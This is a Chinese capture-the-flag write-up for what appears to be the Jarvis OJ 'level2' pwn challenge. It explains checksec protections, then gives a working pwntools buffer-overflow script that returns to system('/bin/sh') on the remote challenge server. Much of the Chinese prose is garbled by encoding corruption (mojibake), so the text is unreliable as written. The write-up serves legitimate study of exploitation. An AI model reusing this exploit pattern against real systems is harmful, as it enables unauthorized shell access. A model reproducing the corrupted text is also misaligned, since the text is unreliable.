checksec看一下,沒什么特別的。想起來了就再把checksec復(fù)習(xí)一下吧,checksec,是用來檢查可執(zhí)行文件屬性的。
Arch:說明這個(gè)文件的屬性是什么,說明是32位的程序。
Stack:canary,這個(gè)主要是說棧保護(hù)的東西,所利用的東西就是相當(dāng)于網(wǎng)站的cookie,linux中把這種cookie信息稱為canary,所以如果開啟了這個(gè),就一般不可以執(zhí)行shellcode了。
RELRO:設(shè)置符號(hào)重定向表格為只讀,或在程序啟動(dòng)時(shí)就解析并綁定所有動(dòng)態(tài)符號(hào),從而減少對(duì)GOT(Global Offset Table)攻擊。如果RELRO為” Partial RELRO”,說明我們對(duì)GOT表具有寫權(quán)限。
NX(DEP)即No-eXecute(不可執(zhí)行)的意思,同樣的,如果NX開啟后,溢出轉(zhuǎn)到shellcode以后,由于開啟了不可執(zhí)行,所以cpu就會(huì)拋出異常,而不去執(zhí)行惡意指令。
PIE(ASLR)地址分布隨機(jī)化。

因?yàn)殚_啟了nx,所以這個(gè)題目我們就不可以用shellcode來做了,打開ida看一下shift+F12發(fā)現(xiàn)"bin/sh"開心的一逼。
溢出點(diǎn)也很好找,buf是0x88,read讀入了0x100
所以我們只要劫持函數(shù)調(diào)用流程就可以pwn下來了。
from pwn import *
#p = process('./level2')
p = remote('pwn2.jarvisoj.com','9878')
elf = ELF('./level2')
sh_addr = elf.search('/bin/sh').next()
print p32(sh_addr)
system_addr = elf.symbols['system']
print p32(system_addr)
exit_addr = elf.symbols['read']
print p32(exit_addr)
payload = 'a' * (0x88 + 0x4) + p32(system_addr) + p32(exit_addr) + p32(sh_addr)
p.send(payload)
p.interactive()
其實(shí)返回地址可以任意指定的,因?yàn)槲覀円呀?jīng)執(zhí)行了system('/bin/sh')了。。。我也不知道我當(dāng)時(shí)為什么要這樣子寫。。大概是用完了還是要還會(huì)去比較安心。。。